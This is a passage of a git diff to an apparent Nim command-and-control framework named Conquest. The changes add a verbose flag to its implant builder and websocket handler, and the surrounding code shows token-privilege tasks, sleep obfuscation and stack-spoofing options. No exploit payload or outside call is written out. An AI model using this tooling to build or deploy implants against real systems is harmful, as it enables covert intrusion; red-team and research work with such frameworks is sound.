tokenInfo = getCurrentToken().getTokenInfo() return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(tokenInfo)) @@ -149,7 +149,7 @@ when defined(agent): proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult = try: - echo fmt" [>] Enabling token privilege." + print fmt" [>] Enabling token privilege." let privilege = Bytes.toString(task.args[0].data) return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege))) @@ -158,7 +158,7 @@ when defined(agent): proc executeDisablePrivilege(ctx: AgentCtx, task: Task): TaskResult = try: - echo fmt" [>] Disabling token privilege." + print fmt" [>] Disabling token privilege." let privilege = Bytes.toString(task.args[0].data) return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege, false))) diff --git a/src/server/core/builder.nim b/src/server/core/builder.nim index 4a4e825..32204b5 100644 --- a/src/server/core/builder.nim +++ b/src/server/core/builder.nim @@ -60,7 +60,7 @@ proc replaceAfterPrefix(content, prefix, value: string): string = it ).join("\n") -proc compile(cq: Conquest, placeholderLength: int, modules: uint32): string = +proc compile(cq: Conquest, placeholderLength: int, modules: uint32, verbose: bool): string = let configFile = fmt"{CONQUEST_ROOT}/src/agent/nim.cfg" @@ -77,6 +77,7 @@ proc compile(cq: Conquest, placeholderLength: int, modules: uint32): string = .replaceAfterPrefix("-d:CONFIGURATION=", placeholder) .replaceAfterPrefix("-o:", exeFile) .replaceAfterPrefix("-d:MODULES=", $modules) + .replaceAfterPrefix("-d:VERBOSE=", $verbose) writeFile(configFile, config) cq.info(fmt"Placeholder created ({placeholder.len()} bytes).") @@ -146,7 +147,7 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): se return @[] # Agent generation -proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, modules: uint32): seq[byte] = +proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, verbose: bool, modules: uint32): seq[byte] = # Verify that listener exists if not cq.dbListenerExists(listenerId.toUpperAscii): @@ -157,7 +158,7 @@ proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechniq var config = cq.serializeConfiguration(listener, sleepDelay, sleepTechnique, spoofStack) - let unpatchedExePath = cq.compile(config.len, modules) + let unpatchedExePath = cq.compile(config.len, modules, verbose) if unpatchedExePath.isEmptyOrWhitespace(): return diff --git a/src/server/main.nim b/src/server/main.nim index c3bd4a9..33a6d8d 100644 --- a/src/server/main.nim +++ b/src/server/main.nim @@ -96,9 +96,10 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {. sleepDelay = event.data["sleepDelay"].getInt() sleepTechnique = cast[SleepObfuscationTechnique](event.data["sleepTechnique"].getInt()) spoofStack = event.data["spoofStack"].getBool() + verbose = event.data["verbose"].getBool() modules = cast[uint32](event.data["modules"].getInt()) - let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, modules) + let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, verbose, modules) if payload.len() != 0: cq.client.sendAgentPayload(payload)